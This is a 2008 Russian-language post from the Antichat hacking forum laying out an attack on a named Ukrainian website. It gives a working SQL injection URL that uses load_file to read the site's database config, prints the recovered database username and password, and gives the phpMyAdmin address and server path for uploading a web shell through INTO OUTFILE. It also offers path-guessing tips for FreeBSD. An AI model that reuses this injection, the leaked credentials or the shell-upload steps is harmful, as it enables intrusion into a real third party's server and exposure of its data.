02.11.2008, 15:27
|
|
Leaders of Antichat - Level 4
Регистрация: 26.11.2006
Сообщений: 237
С нами:
10240166
Репутация:
2097
|
|
1)Там есть phpmyadmin через него можно залить шелл
читаем конфиг:
Код:
http://www.bis-el.kiev.ua/index.php?parent_id=0&part_id=1&article_id=-99999+union+select+1,2,3,4,load_file(0x2f686f6d652f6b696e672f7075626c69635f68746d6c2f696e632f64625f6d7973716c2e696e63),6,7,8,9,10,11+from+mysql.user/*
оттуда получаем логин/пароль к БД
var $User = "clever";
var $Password = "whitebear";
Идем в phpmyadmin
http://www.bis-el.kiev.ua/phpmyadm/
и льем шелл через into outfile
Путь: /home/king/public_html/
2)Путь там можно подобрать, т.к там фряха, а в ней через load_file можно читать содержимое дир
3)Путь к файлу в hex кодировать нельзя
__________________
Не занимаюсь коммерцией в любых ее проявлениях.
Последний раз редактировалось l-l00K; 02.11.2008 в 15:36..
|
|
|